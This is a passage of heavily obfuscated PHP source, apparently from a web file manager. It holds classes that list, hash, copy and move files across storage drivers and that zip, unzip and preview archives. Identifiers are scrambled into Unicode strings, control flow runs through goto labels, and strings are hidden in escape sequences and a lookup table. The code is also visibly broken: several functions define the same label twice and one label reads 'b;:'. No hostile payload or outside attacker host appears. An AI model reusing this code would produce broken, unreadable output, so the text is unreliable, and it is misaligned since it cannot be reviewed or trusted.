$Dՠ[76] => 1, $Dՠ[77] => 0); $this->listAll($Eə, $b); } else { $b[] = array($Dՠ[75] => $Eə, $Dՠ[76] => 0, $Dՠ[77] => $this->size($Eə)); } } closedir($f); goto A֘; E: } public function has($C, $BƼ = false, $Dίϴ = true) { goto aςˋ; dȡ: if (!($C陴亘 = @opendir($C))) { return !1; } $F = 0; $fDZΝ = 0; goto A; aςˋ: $B򥳷 =& $_SERVER[ڊ]; $C = $this->iconvSystem($C); $C = rtrim($C, $B򥳷[8]) . $B򥳷[8]; goto dȡ; e׿: return !1; goto c㼇Ԓ; A: while (($a辊 = readdir($C陴亘)) !== !1) { if ($a辊 == $B򥳷[93] || $a辊 == $B򥳷[1149]) { continue; } $d܈ = $C . $a辊; if ($BƼ) { if (@is_file($d܈)) { $F++; } else { $fDZΝ++; } continue; } if ($Dίϴ) { if (@is_file($d܈)) { return !0; } } else { if (@is_dir($d܈ . $B򥳷[8])) { return !0; } } } closedir($C陴亘); if ($BƼ) { return array($B򥳷[188] => $F, $B򥳷[189] => $fDZΝ); } goto e׿; c㼇Ԓ: } public function hashSimple($cϸ) { goto c‡; bΆĆ: fseek($b, $cא - $e); $E҈ .= fread($b, $e); fclose($b); goto bܔ; f躝: $cא = $this->size($cϸ); $e = 200; $Eȉ = 50; goto F߳; bܔ: return md5($E҈) . $cא; goto D􇎐; F߳: if ($cא <= $e * $Eȉ) { return $this->hashMd5($cϸ) . $cא; } $E҈ = $Dܔ[33]; $Dڛ = intval($cא / $Eȉ); goto B; B: $b = fopen($cϸ, $Dܔ[1157]); if (!$b) { return $E҈; } for ($c֊ = 0; $c֊ < $Eȉ; $c֊++) { fseek($b, $Dڛ * $c֊); $E҈ .= fread($b, $e); } goto bΆĆ; c‡: $Dܔ =& $_SERVER[ڊ]; if (!$cϸ) { return md5($Dܔ[33]); } $cϸ = $this->iconvSystem($cϸ); goto f躝; D􇎐: } public function getContent($Cʼnݐ) { $Cʼnݐ = $this->iconvSystem($Cʼnݐ); return file_get_contents($Cʼnݐ); } public function setContent($Dյ, $C̅Šڪ = '') { $Dյ = $this->iconvSystem($Dյ); @file_put_contents($Dյ, $C̅Šڪ, LOCK_EX); clearstatcache(); return strlen($C̅Šڪ) == filesize($Dյ); } public function fileSubstr($Dو, $aЖ = 0, $b􏢧 = false) { goto d׺; d׺: $e󃢝 =& $_SERVER[ڊ]; $Dو = $this->iconvSystem($Dو); if ($b􏢧 === !1) { $b􏢧 = $this->size($Dو); } goto bͥ; bͥ: if ($b􏢧 <= 0) { return $e󃢝[33]; } $a𾔾 = fopen($Dو, $e󃢝[1157]); if (!$a𾔾) { return !1; } goto eޓ; F΍鏜: return $e՜; goto E; eޓ: fseek($a𾔾, $aЖ); $e՜ = fread($a𾔾, $b􏢧); fclose($a𾔾); goto F΍鏜; E: } public function upload($d, $dׄ, $Bᕿ = false, $bٹ = REPEAT_REPLACE) { $E = $this->copyFile($dׄ, $d); return $E ? $this->getPathOuter($d) : !1; } public function download($aǿ, $aƇ) { return $this->iconvSystem($aǿ); } } goto e; fܔ: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($A, $B£К) { $F󧂽 = self::driverMake($B£К[0]); if (method_exists($F󧂽, $A)) { return @call_user_func_array(array($F󧂽, $A), $B£К); } if (method_exists($F󧂽, $_SERVER[ڊ][989])) { return @call_user_func_array(array($F󧂽, $A), $B£К); } else { if (method_exists(self, $A)) { return @call_user_func_array(array(self, $A), $B£К); } else { call_user_func_array(array(parent, $A), $B£К); } } } public static function init($A) { return self::driverMake($A); } public static function copy($D㛰, $a, $C盵ɍ = false, $F = false) { return self::copyMove($D㛰, $a, $C盵ɍ, $_SERVER[ڊ][486], $F); } public static function move($dǴ, $fŅ, $Aᲆ = false, $aꗥ = false) { return self::copyMove($dǴ, $fŅ, $Aᲆ, $_SERVER[ڊ][488], $aꗥ); } public static function saveFile($fԆ, $Fæ, $Dϩ̞ރ = true) { goto D޲; D޲: $f¡ =& $_SERVER[ڊ]; $EĂȗ = self::info($Fæ); $a = self::driverMake($fԆ); goto B܌; B܌: $c = self::driverMake($Fæ); $AĢ = !1; if ($c->pathParse[$f¡[990]]) { $aڐȦʎ = $c->pathParse[$f¡[990]]; $AĢ = $c; $c = self::driverMake($aڐȦʎ); } goto Fڨܷ; Cیݫ: $Dά = self::copyFile($a, $fԆ, $c, $b, $EĂȗ[$f¡[28]], $F大罷); if ($AĢ) { $Dά = $AĢ->getPathOuter($Dά); } return $Dά; goto Eȑ; Fڨܷ: $b = $c->pathFather($Fæ); $F大罷 = !0; if (!$Dϩ̞ރ && self::driverIsSame($a, $c)) { $F大罷 = !1; } goto Cیݫ; Eȑ: } private static function copyMove($F, $A, $a, $a݅ӻ, $d = false) { goto Cή; f: if ($C) { $cɭ = $C->getPathOuter($cɭ); } return $cɭ; goto eǛ; F˦: $C = !1; if ($DЗђ->pathParse[$d[990]]) { $A = $DЗђ->pathParse[$d[990]]; $C = $DЗђ; $DЗђ = self::driverMake($A); } self::check($Dܙ, $F, $DЗђ, $A); goto C; Cή: $d =& $_SERVER[ڊ]; if (!$F || $F == $d[8] || !$A) { return !1; } ignore_timeout(); goto d쥗; e㵨Ȍ: $B֍ = $Dܙ->isFile($F); if (!$B֍ && $DЗђ->getType() == $d[689] && $Dܙ->getType() == $d[103]) { $cɭ = $DЗђ->copyFolderFromIO($Dܙ, $F, $A, $a, $bؠ, $d); } else { $cɭ = self::copyPath($Dܙ, $F, $DЗђ, $A, $a, $bؠ, $B֍, $d); } if ($cɭ && $bؠ) { $Dܙ->remove($F); } goto f; d쥗: $Dܙ = self::driverMake($F); $DЗђ = self::driverMake($A); $bؠ = $a݅ӻ == $d[488]; goto F˦; C: Hook::trigger($d[72], $Dܙ, $F, $DЗђ, $A); $FĢ = self::driverIsSame($Dܙ, $DЗђ); if ($FĢ) { if ($a݅ӻ == $d[488] && trim($A, $d[8]) == trim($DЗђ->pathFather($F), $d[8])) { return $DЗђ->getPathOuter($F); } if (method_exists($DЗђ, $a݅ӻ)) { return $DЗђ->{$a݅ӻ}($F, $A, $a); } } goto e㵨Ȍ; eǛ: } private static function check($DÜ歪, $Dل, $Bފ, &$BƊ) { $d𦏆Ų =& $_SERVER[ڊ]; if (self::driverIsSame($DÜ歪, $Bފ) && $DÜ歪->isFolder($Dل) && $DÜ歪->isParentOf($Dل, $BƊ)) { show_json(LNG($d𦏆Ų[991]), !1); } if (!$DÜ歪->exist($Dل)) { show_json(LNG($d𦏆Ų[102]), !1); } } private static function copyPath($A܃, $Fֶ, $E, $F㒴, $b, $Aמ, $aѝ͋, $b = false) { goto a; A͍ɗ: $bֺ = array_merge($fά񄰨[$fՌ[73]], $fά񄰨[$fՌ[74]]); foreach ($bֺ as $B܎) { $C̬ = $B܎[$fՌ[29]] == $fՌ[164]; $Fֶ = $A܃->getPathInner($B܎[$fՌ[75]]); $D׷ = self::copyPath($A܃, $Fֶ, $E, $F㒴, $b, $Aמ, $C̬); if (!$D׷) { write_log($fՌ[992] . $Fֶ . $fՌ[993] . $F㒴, $fՌ[994]); } } return $f氛; goto Eˤ; A≱: $f氛 = $E->mkdir($E->getPath($dޙֺ)); $F㒴 = $E->getPathInner($f氛); $fά񄰨 = $A܃->listPath($Fֶ, !0); goto A͍ɗ; a: $fՌ =& $_SERVER[ڊ]; $Dፔ = $b ? $b : $A܃->getPathName($A܃->pathThis($Fֶ)); if ($b) { $Eئ = $E->fileNameExist($F㒴, $Dፔ); $Dፔ = $E->fileNameAuto($F㒴, $Dፔ, $b, !$aѝ͋); $b = $Eئ ? $b : !1; } goto e牗; e牗: if ($aѝ͋) { return self::copyFile($A܃, $Fֶ, $E, $F㒴, $Dፔ, $Aמ); } if ($b == REPEAT_RENAME_FOLDER) { $b = !1; } $dޙֺ = rtrim($F㒴, $fՌ[8]) . $fՌ[8] . $Dፔ; goto A≱; Eˤ: } private static function copyFile($cܔ̥, $EŊ, $cԍ, $D߯Ϊ, $D޵, $aِ) { goto cҷ; F: mk_dir($dͺ); $f۪ = $dͺ . $e񺨳; $f۪ = $cܔ̥->download($EŊ, $f۪); goto fۇ; Aԭ: Hook::trigger($D[997], $cܔ̥, $EŊ, $cԍ, $D߯Ϊ, $D޵, $B݃˿); return $B݃˿; goto dÊݩ; eŦ: Hook::trigger($D[996], $cܔ̥, $EŊ, $cԍ, $D߯Ϊ, $D޵, $e񺨳); if (self::driverIsSame($cܔ̥, $cԍ)) { if ($aِ) { $B݃˿ = $cԍ->moveFile($EŊ, $D߯Ϊ); } else { $B݃˿ = $cԍ->copyFile($EŊ, $D߯Ϊ); } Hook::trigger($D[997], $cܔ̥, $EŊ, $cԍ, $D߯Ϊ, $D޵, $B݃˿); return $B݃˿; } $dͺ = TEMP_FILES; goto F; cҷ: $D =& $_SERVER[ڊ]; $D߯Ϊ = $cԍ->getPath(rtrim($D߯Ϊ, $D[8]) . $D[8] . $D޵); $e񺨳 = $D[995] . time() . rand_string(5); goto eŦ; fۇ: $f۪ = $cܔ̥->iconvApp($f۪); $B݃˿ = $cԍ->upload($D߯Ϊ, $f۪, $aِ); self::remove($dͺ . $e񺨳); goto Aԭ; dÊݩ: } public static function pathFather($Dʥ) { $b˨ = IO::init($Dʥ); $A„ = $b˨->pathFather($b˨->path); return $b˨->getPathOuter($A„); } public static function fileOut($c, $d = false, $C = false, $eЮ = '') { $a爳 = self::driverMake($c); if ($a爳->isFileOutServer()) { return $a爳->fileOutServer($c, $d, $C, $eЮ); } return $a爳->fileOut($c, $d, $C, $eЮ); } public static function fileOutImage($dΜ, $B釣Ϥ = 250) { $b֏ = array(250, 600, 1200, 3000); for ($F = 0; $F < count($b֏); $F++) { if ($F == 0 && $B釣Ϥ <= $b֏[$F]) { $B釣Ϥ = $b֏[$F]; break; } else { if ($B釣Ϥ > $b֏[$F - 1] && $B釣Ϥ <= $b֏[$F]) { $B釣Ϥ = $b֏[$F]; break; } else { if ($F == count($b֏) - 1 && $B釣Ϥ > $b֏[$F]) { $B釣Ϥ = $b֏[$F]; break; } } } } $CѤܑ = self::driverMake($dΜ); if ($CѤܑ->isFileOutServer()) { return $CѤܑ->fileOutImageServer($dΜ, $B釣Ϥ); } return $CѤܑ->fileOutImage($dΜ, $B釣Ϥ); } private static function driverIsSame($D湳, $AҮ) { goto FץĚ݉; C: if ($D != $CÕ) { return !1; } if ($D == $Aɗ[689]) { return !0; } if ($D == $Aɗ[103]) { return !0; } goto B‡; FץĚ݉: $Aɗ =& $_SERVER[ڊ]; $D = $D湳->getType(); $CÕ = $AҮ->getType(); goto C; B‡: if ($D湳->pathDriver == $AҮ->pathDriver) { return !0; } return !1; goto b; b: } public static function copyUpdate($Dժ, $d) { goto C; b귣°: Hook::trigger($B忧[1001], $Dժ, $d, $aڃɭ); foreach ($d֧ as $CҬ) { IO::mkdir($CҬ); } foreach ($Aٿ as $CҬ) { IO::copy($CҬ[$B忧[998]], $CҬ[$B忧[999]], REPEAT_REPLACE); } goto D㑑; C: $B忧 =& $_SERVER[ڊ]; if (!IO::exist($Dժ)) { return !1; } if (!IO::exist($d)) { IO::mkdir($d); } goto eդκÛ; eɝ: $d֧ = array(); foreach ($E as $E鋔 => $CҬ) { if (isset($bÊ[$E鋔])) { if ($CҬ[$B忧[76]] == 1) { continue; } if ($bÊ[$E鋔][$B忧[77]] == $CҬ[$B忧[77]]) { continue; } } if ($CҬ[$B忧[76]] == 1) { $d֧[] = $d . $B忧[8] . $E鋔; continue; } $C = strstr(trim($E鋔, $B忧[8]), $B忧[8]) ? get_path_father($E鋔) : $B忧[33]; $Aٿ[] = array($B忧[998] => $CҬ[$B忧[75]], $B忧[999] => rtrim($d, $B忧[8]) . $B忧[8] . $C, $B忧[1000] => $CҬ); } $aڃɭ = array($B忧[164] => $Aٿ, $B忧[76] => $d֧); goto b귣°; eդκÛ: $E = self::_listAll($Dժ); $bÊ = self::_listAll($d); $Aٿ = array(); goto eɝ; D㑑: } private static function _listAll($E鄲) { $c— =& $_SERVER[ڊ]; $E鄲 = KodIO::clear($E鄲); $F»ˊ = IO::listAll($E鄲); foreach ($F»ˊ as &$aԅ) { $FϘ = substr($aԅ[$c—[75]], strlen($E鄲)); $aԅ[$c—[1002]] = trim($FϘ, $c—[8]); } return array_to_keyvalue($F»ˊ, $c—[1002]); } public static function fileSubstr($d, $e, $bҺ = false) { goto Eѝ˄; Eѝ˄: $F娑 = self::driverMake($d); $Dع = $F娑->size($d); $b = $e; goto A߫; aҞ: return $F娑->fileSubstr($d, $e, $bҺ); goto Bٲ; EᣇΛ: if ($e + $bҺ > $Dع) { $bҺ = $Dع - $e; } if ($bҺ <= 0) { return $_SERVER[ڊ][33]; } if ($e < 0 || $e >= $Dع || $bҺ > 1024 * 1024 * 5) { throw new Exception("\x66\151\x6c\145\x52\x65\x61\x64\40\x65\x72\162\157\x72\x21\40\x73\164\x61\x72\x74\75{$e}\x3b\x6c\x65\156\147\x74\x68\75{$bҺ}\73\x20\x73\x69\172\145\75{$Dع}\x3b"); } goto aҞ; A߫: $Eّѿ = $bҺ; if ($e < 0) { $e = $Dع + $e; } if ($bҺ === !1) { $bҺ = $Dع - $e; } goto EᣇΛ; Bٲ: } private static function driverMake(&$B瘊׈) { goto b܋; b܋: $dͅ =& $_SERVER[ڊ]; $FɛЋ = KodIO::parse($B瘊׈); if (!self::$driverListSystem) { $CΩЄ = Model($dͅ[699])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($CΩЄ, $dͅ[364]); } goto Bݨ; Bݨ: if ($FɛЋ[$dͅ[29]] == KodIO::KOD_IO && !self::$driverListSystem[$FɛЋ[$dͅ[364]]]) { return !1; } $B瘊׈ = $FɛЋ[$dͅ[1003]]; $b͔ = self::driverGet($FɛЋ, $B瘊׈); goto e; e: return $b͔; goto a҃; a҃: } private static function driverGet($B͇, &$dӊ) { goto E; Edz: switch ($B͇[$dʌ[29]]) { case KodIO::KOD_IO: $C归ӆ = self::$driverListSystem[$bŌΧ]; break; case KodIO::KOD_SOURCE: $dӊ = $bŌΧ . $dӊ; $C归ӆ = array($dʌ[1005] => $dʌ[1006], $dʌ[6] => $B͇); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $Fِ = $GLOBALS[$dʌ[1007]]; self::$driverListUser = array_to_keyvalue($Fِ, $dʌ[364]); } $C归ӆ = self::$driverListUser[$bŌΧ]; break; case KodIO::KOD_SHARE_LINK: $C归ӆ = array($dʌ[1005] => $dʌ[1008], $dʌ[6] => $B͇); $Bݛ = Action($dʌ[1009])->sharePathInfo($B͇[$dʌ[75]]); $dӊ = $Bݛ[$dʌ[366]]; if (!$Bݛ[$dʌ[366]]) { $D = Model($dʌ[532])->getInfo($Bݛ[$dʌ[437]]); $dӊ = KodIO::clear($D[$dʌ[1010]] . $B͇[$dʌ[1003]]); $B͇[$dʌ[435]] = $D; $B͇[$dʌ[990]] = $dӊ; $C归ӆ = array($dʌ[1005] => $dʌ[1011], $dʌ[6] => $B͇); } break; case KodIO::KOD_SHARE_ITEM: $C归ӆ = array($dʌ[1005] => $dʌ[1012], $dʌ[6] => $B͇); $D = Model($dʌ[532])->getInfo($B͇[$dʌ[364]]); if ($D[$dʌ[366]] == $dʌ[464]) { $dӊ = KodIO::clear($D[$dʌ[1010]] . $B͇[$dʌ[1003]]); $B͇[$dʌ[435]] = $D; $B͇[$dʌ[990]] = $dӊ; $C归ӆ = array($dʌ[1005] => $dʌ[1013], $dʌ[6] => $B͇); } break; default: $dӊ = $B͇[$dʌ[75]]; $C归ӆ = array($dʌ[1005] => $dʌ[1014]); break; } $eؚ = $B͇[$dʌ[75]]; if (!isset(self::$driverCache[$eؚ])) { $c񬐠 = strtolower($C归ӆ[$dʌ[90]]); $Bݻ = $GLOBALS[$dʌ[6]][$dʌ[84]][$dʌ[1015]]; $CȄ = $dʌ[71] . (isset($Bݻ[$c񬐠]) ? $Bݻ[$c񬐠] : ucfirst($c񬐠)); if (!class_exists($CȄ)) { show_json("{$CȄ}\40\156\x6f\x74\40\x65\x78\x69\163\164\163\x21", !1); } $E닳 = isset($C归ӆ[$dʌ[6]]) ? $C归ӆ[$dʌ[6]] : !1; self::$driverCache[$eؚ] = new $CȄ($E닳); } goto F; E: $dʌ =& $_SERVER[ڊ]; $c = $B͇[$dʌ[1004]]; $bŌΧ = $B͇[$dʌ[364]]; goto Edz; CҶ㑃: $Dȼ->path = $dӊ; return $Dȼ; goto c˩Ŭ; F: $Dȼ = self::$driverCache[$eؚ]; $Dȼ->pathDriver = $c; $Dȼ->pathBase = $dʌ[33]; goto Bݶ붞; Bݶ붞: if (isset($C归ӆ[$dʌ[6]][$dʌ[1016]])) { $Dȼ->pathBase = rtrim($C归ӆ[$dʌ[6]][$dʌ[1016]], $dʌ[8]) . $dʌ[8]; $dӊ = $Dȼ->pathBase . ltrim($dӊ, $dʌ[8]); } $dӊ = $Dȼ->getPath($dӊ); if (isset($B͇[$dʌ[990]])) { $dӊ = $B͇[$dʌ[990]]; } goto CҶ㑃; c˩Ŭ: } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $d; if (!$d) { $d = IO::init($_SERVER[ڊ][8]); } return $d; } private static function iconvSystem($fؐ) { return self::local()->iconvSystem($fؐ); } private static function iconvApp($f烝) { return self::local()->iconvApp($f烝); } public static function zip($aƿѤ, $D = "\172\151\160", $BӺ = '', $F = REPEAT_RENAME) { goto CǶ; CǶ: $d¶گ =& $_SERVER[ڊ]; $D͋Ξ = self::init($aƿѤ[0][$d¶گ[75]]); $b߬֫ = self::info($aƿѤ[0][$d¶گ[75]]); goto d; d: $Eٹ = !1; if (!$BӺ && $D͋Ξ->getType() == $d¶گ[103]) { $aܝʿ = self::zipFileList($aƿѤ); } else { $Eٹ = $BӺ ? $BӺ : TEMP_FILES . $d¶گ[1017] . time() . rand_string(8) . $d¶گ[8]; mk_dir($Eٹ); $aܝʿ = self::zipFileList($aƿѤ, $Eٹ); } $DǾ = $b߬֫[$d¶گ[28]]; goto F; c: foreach ($aܝʿ as $d => $aӓҥ) { $aܝʿ[$d] = self::iconvSystem($aӓҥ); } KodArchive::create($B窱ϰ, $aܝʿ); if (!IO::exist($a·)) { if ($Eٹ) { del_dir($Eٹ); } show_json(LNG($d¶گ[1019]), !1); } goto eқ; F: if (count($aܝʿ) > 1) { $e݋қ = IO::info(IO::pathFather($b߬֫[$d¶گ[75]])); $DǾ = $e݋қ[$d¶گ[28]]; } $bо = $Eٹ; if (!$bо) { $bо = get_path_father($b߬֫[$d¶گ[75]]); $F͝ = IO::info($bо); if (!$F͝[$d¶گ[186]]) { show_json(LNG($d¶گ[1018]), !1); } } goto dǑ; eқ: if ($BӺ || !$Eٹ) { if ($Eٹ && strstr($Eٹ, TEMP_FILES)) { $fЯល = $aܝʿ = array(); recursion_dir($bо, $fЯល, $aܝʿ, 0); foreach ($fЯល as $eՉ؟) { del_dir($eՉ؟); } foreach ($aܝʿ as $Cع) { if ($Cع == $B窱ϰ) { continue; } del_file($Cع); } } return $a·; } $BطØ˅ = self::pathFather($b߬֫[$d¶گ[75]]); $A醪 = self::move($a·, $BطØ˅, $F); goto D޿; dǑ: $a· = $bо . $DǾ . $d¶گ[93] . $D; $a· = get_filename_auto($a·, $d¶گ[33], $F); $B窱ϰ = self::iconvSystem($a·); goto c; D޿: if (!$A醪) { del_dir($Eٹ); show_json(LNG($d¶گ[1019]), !1); } del_dir($Eٹ); return $A醪; goto Cً; Cً: } public static function unzip($c؆, $EҴ = "\162\x65\x70\x6c\141\143\x65") { goto bш; Bݣֺ: return !0; goto a; b: $E = KodArchive::extract($D稴, $bݨ . $fƃ[8], $Bж); self::archiveExt(); if (!$E[$fƃ[1024]]) { show_json($fƃ[1025] . $E[$fƃ[1026]], !1); } goto cʡ; cϒč: if (!($c = parent::info($A䂹댭))) { show_json(LNG($fƃ[1021]), !1); } if (!($fԪ = parent::infoFull($B׋))) { $B׋ = parent::mkdir($B׋); $fԪ = array($fƃ[75] => $B׋); } else { if (isset($fԪ[$fƃ[366]]) && trim($fԪ[$fƃ[75]], $fƃ[8]) != trim($B׋, $fƃ[8])) { $f = KodIO::make($fԪ[$fƃ[457]]); $Dǜ鿏 = parent::fileNameAuto($f, $fԪ[$fƃ[28]], REPEAT_RENAME_FOLDER, !0); $B׋ = parent::mkdir($f . $Dǜ鿏); $fԪ = array($fƃ[75] => $B׋); } } $B׋ = $fԪ[$fƃ[75]]; goto D; D: $CՑ = self::tmpFileName($c); $bݨ = TEMP_FILES . $CՑ; del_dir($bݨ); goto b; b: mk_dir($bݨ); $a󭎦 = self::fileExt($c); $D稴 = $bݨ . $fƃ[93] . $a󭎦; goto f; bш: $fƃ =& $_SERVER[ڊ]; $A䂹댭 = $c؆[$fƃ[75]]; $B׋ = $c؆[$fƃ[1020]]; goto cϒč; f: foreach ($eЫ݃ as $C) { $C = self::iconvApp($C); self::move($C, $B׋, $EҴ); } del_dir($bݨ); if (!$dżŇ) { del_file($D稴); } goto Bݣֺ; cʡ: Hook::trigger($fƃ[1027], $bݨ); recursion_dir($bݨ, $dϹ, $fȷ, 0); $eЫ݃ = array_merge($dϹ, $fȷ); goto f; f: if (!@file_exists(self::iconvSystem($D稴))) { $dżŇ = self::localFilePath($A䂹댭, $a󭎦); $D稴 = $dżŇ ? $dżŇ : parent::download($A䂹댭, $D稴); } $D稴 = self::iconvSystem($D稴); $Bж = isset($c؆[$fƃ[1022]]) ? $c؆[$fƃ[1022]] : $fƃ[1023]; goto b; a: } public static function unzipList($D伋) { goto Cǔ; Fʯ: if (isset($Aߝ)) { $Bڑ = array($Aߝ[$C[75]], $Aߝ[$C[1028]], $Aߝ[$C[28]]); $E = md5(implode($C[70], $Bڑ)) . $C[93] . get_path_ext($Aߝ[$C[28]]); } else { $Bڑ = array($c膍Ȍ[$C[28]], $c膍Ȍ[$C[75]], $c膍Ȍ[$C[77]]); $E = md5(implode($C[70], $Bڑ)) . $C[93] . $Aҥ; } if ($a == -1) { $d섏 = IO_PATH_SYSTEM_TEMP . "\x7a\x69\160\x56\x69\145\167\x2f{$F}\57{$E}\56\x6c\157\x67"; $A͕ = self::infoFull($d섏); if ($A͕) { $d섏 = $A͕[$C[75]]; $AỖ̾ = self::getContent($d섏); if ($AỖ̾) { $Eڍ = json_decode($AỖ̾, !0); if (count($Eڍ) >= $Cʛӆ) { show_json(sprintf(LNG($C[1030]), count($Eڍ)), !1); } return $Eڍ; } } else { $d섏 = self::mkfile($d섏); } } $Aȱ = TEMP_FILES . $F; goto c; Fػ: $a볎 = self::iconvSystem($a볎); if ($a >= 0) { $a퍡 = isset($D伋[$C[1032]]) ? $D伋[$C[1032]] : !1; $A՟ = isset($D伋[$C[28]]) ? $D伋[$C[28]] : $C[33]; KodArchive::filePreview($a볎, $a, $a퍡, $A՟); self::archiveExt(); die; } $cȎɆ = KodArchive::listContent($a볎); goto cʚ; A: return $cȎɆ[$C[1026]]; goto c; cʚ: self::archiveExt(); del_dir($Aȱ); if (!$cȎɆ[$C[1024]]) { show_json($cȎɆ[$C[1026]], !1); } goto A鮃; Cǔ: $C =& $_SERVER[ڊ]; $DƦ = $D伋[$C[75]]; $a = isset($D伋[$C[1028]]) ? $D伋[$C[1028]] : -1; goto E觿; E: $c膍Ȍ = self::info($F); $Aҥ = self::fileExt($c膍Ȍ); $F = self::tmpFileName($c膍Ȍ); goto Fʯ; E觿: $Cʛӆ = 50000; if (request_url_safe($DƦ)) { $Aߝ = parse_url_query($DƦ); if (!isset($Aߝ[$C[75]])) { show_json($C[1029], !1); } } $F = isset($Aߝ) ? $Aߝ[$C[75]] : $DƦ; goto E; A鮃: $Eڍ = json_encode($cȎɆ[$C[1026]]); self::setContent($d섏, $Eڍ); if (count($cȎɆ[$C[1026]]) >= $Cʛӆ) { show_json(sprintf(LNG($C[1030]), count($cȎɆ[$C[1026]])), !1); } goto A; c: if (!is_dir($Aȱ)) { mk_dir($Aȱ); } $a볎 = $Aȱ . $C[8] . $E; if (!@file_exists(self::iconvSystem($a볎))) { if (isset($Aߝ)) { url_request($DƦ, $C[1031], $a볎); } else { $E১ = self::localFilePath($DƦ, $Aҥ); $a볎 = $E১ ? $E১ : self::download($DƦ, $a볎); } } goto Fػ; c: } private static function fileExt($e) { $e̘ =& $_SERVER[ڊ]; $D = $e[$e̘[157]]; if ($D == $e̘[1033]) { $F = $e̘[1034]; if (substr($e[$e̘[28]], -strlen($F)) == $F) { $D = $e̘[1035]; } } self::archiveExt($D); return $D; } private static function zipFileList($d, $Eӆ = false) { $e =& $_SERVER[ڊ]; $EՎ = array(); foreach ($d as $f갉) { $E = $f갉[$e[75]]; if ($Eӆ) { $E = self::copy($f갉[$e[75]], $Eӆ, $e[739]); } if ($E && self::local()->exist($E)) { $EՎ[$f갉[$e[75]]] = $E; } } if (!empty($EՎ)) { return array_values($EՎ); } show_json(LNG($e[1036]), !1); } public static function tmpFileName($Dȫ) { $Aޛ =& $_SERVER[ڊ]; $c椇 = array($Dȫ[$Aޛ[28]], $Dȫ[$Aޛ[75]], $Dȫ[$Aޛ[77]], $Dȫ[$Aޛ[455]]); return md5(implode($Aޛ[70], $c椇)); } private static function localFilePath($C, $f̬) { goto c; c: $fͰׄ =& $_SERVER[ڊ]; if ($f̬ == $fͰׄ[1037] && strtoupper(substr(PHP_OS, 0, 3)) == $fͰׄ[1038]) { return !1; } $F̜ = KodIO::parse($C); goto CɄ; CɄ: if ($F̜[$fͰׄ[29]] == KodIO::KOD_SOURCE) { $A˖ = Model($fͰׄ[747])->fileInfoGet(KodIO::sourceID($C)); if (!$A˖[$fͰׄ[75]]) { show_json($fͰׄ[1039], !1); } $C = $A˖[$fͰׄ[75]]; } $Bѥۛ = self::init($C); $f؞ = $Bѥۛ->getType(); goto E; E: if ($f؞ == $fͰׄ[103] || $f؞ == $fͰׄ[1040]) { if (!$Bѥۛ->exist($Bѥۛ->path)) { show_json(LNG($fͰׄ[102]), !1); } return $Bѥۛ->path; } return !1; goto D; D: } private static function archiveExt($cՄ = '') { $GLOBALS[$_SERVER[ڊ][1041]] = $cՄ; } } class KodIO { const KOD_SOURCE = "\173\x73\157\165\x72\x63\145\175"; const KOD_USER_RECYCLE = "\173\165\163\x65\x72\x52\x65\x63\x79\143\154\x65\175"; const KOD_USER_FAV = "\173\x75\163\x65\162\x46\141\166\175"; const KOD_USER_FILE_TAG = "\x7b\x75\163\145\x72\x46\151\x6c\145\124\141\x67\175"; const KOD_USER_FILE_TYPE = "\x7b\165\x73\145\x72\106\x69\154\145\x54\171\160\x65\x7d"; const KOD_GROUP_ROOT_SELF = "\173\x67\x72\x6f\x75\160\x52\157\x6f\164\123\145\154\x66\175"; const KOD_USER_SHARE = "\x7b\165\163\x65\162\123\150\141\x72\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\165\x73\145\x72\123\150\141\162\145\x4c\151\156\x6b\x7d"; const KOD_USER_SHARE_TO_ME = "\x7b\163\150\x61\x72\x65\124\x6f\115\x65\175"; const KOD_SHARE_ITEM = "\x7b\163\x68\141\x72\145\111\x74\x65\x6d\x7d"; const KOD_SHARE_LINK = "\173\x73\150\141\x72\x65\111\x74\x65\155\x4c\x69\x6e\153\x7d"; const KOD_SEARCH = "\173\163\x65\141\162\x63\x68\x7d"; const KOD_BLOCK = "\x7b\142\154\x6f\x63\x6b\175"; const KOD_IO = "\173\x69\157\x7d"; const KOD_USER_RECENT = "\173\165\x73\x65\162\x52\145\156\x63\x65\x6e\x74\175"; const KOD_USER_DRIVER = "\173\144\162\151\166\145\x72\175"; public static function typeList() { $a =& $_SERVER[ڊ]; return array($a[1042] => self::KOD_SOURCE, $a[1043] => self::KOD_USER_RECYCLE, $a[1044] => self::KOD_USER_FAV, $a[1045] => self::KOD_USER_FILE_TAG, $a[1046] => self::KOD_USER_FILE_TYPE, $a[1047] => self::KOD_GROUP_ROOT_SELF, $a[1048] => self::KOD_USER_SHARE, $a[1049] => self::KOD_USER_SHARE_LINK, $a[1050] => self::KOD_USER_SHARE_TO_ME, $a[1051] => self::KOD_SHARE_ITEM, $a[1052] => self::KOD_SHARE_LINK, $a[1053] => self::KOD_SEARCH, $a[1054] => self::KOD_BLOCK, $a[1055] => self::KOD_IO, $a[1056] => self::KOD_USER_RECENT, $a[1057] => self::KOD_USER_DRIVER); } public static function parse($fǾ) { goto C; C: $e⊪ =& $_SERVER[ڊ]; $fǾ = self::clear($fǾ); $E = array_values(self::typeList()); goto D; D: preg_match($e⊪[1058], $fǾ, $dĺ邡); $e؜ = array($e⊪[385] => !1, $e⊪[1059] => !1, $e⊪[382] => !1, $e⊪[75] => $fǾ, $e⊪[1004] => !1, $e⊪[1003] => $e⊪[33]); if (is_array($dĺ邡) && count($dĺ邡) == 5) { $fͲ = $e⊪[1060] . $dĺ邡[2] . $e⊪[312]; if (in_array($fͲ, $E)) { $e؜[$e⊪[1004]] = $dĺ邡[1]; $e؜[$e⊪[29]] = $fͲ; $e؜[$e⊪[1061]] = substr($fͲ, 1, -1); $e؜[$e⊪[364]] = $dĺ邡[3]; } $e؜[$e⊪[1003]] = $dĺ邡[4]; } goto e; e: $D쌠 = array($e⊪[33], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $e؜[$e⊪[1062]] = in_array($e؜[$e⊪[29]], $D쌠); return $e؜; goto F; F: } public static function clear($cױ) { goto cՓ; b;: if (substr($cױ, 0, 3) == $aԅ[1064]) { $cױ = substr($cױ, 3); } while (strstr($cױ, $b͌)) { $cױ = str_replace($b͌, $aԅ[8], $cױ); } $cױ = preg_replace($aԅ[1065], 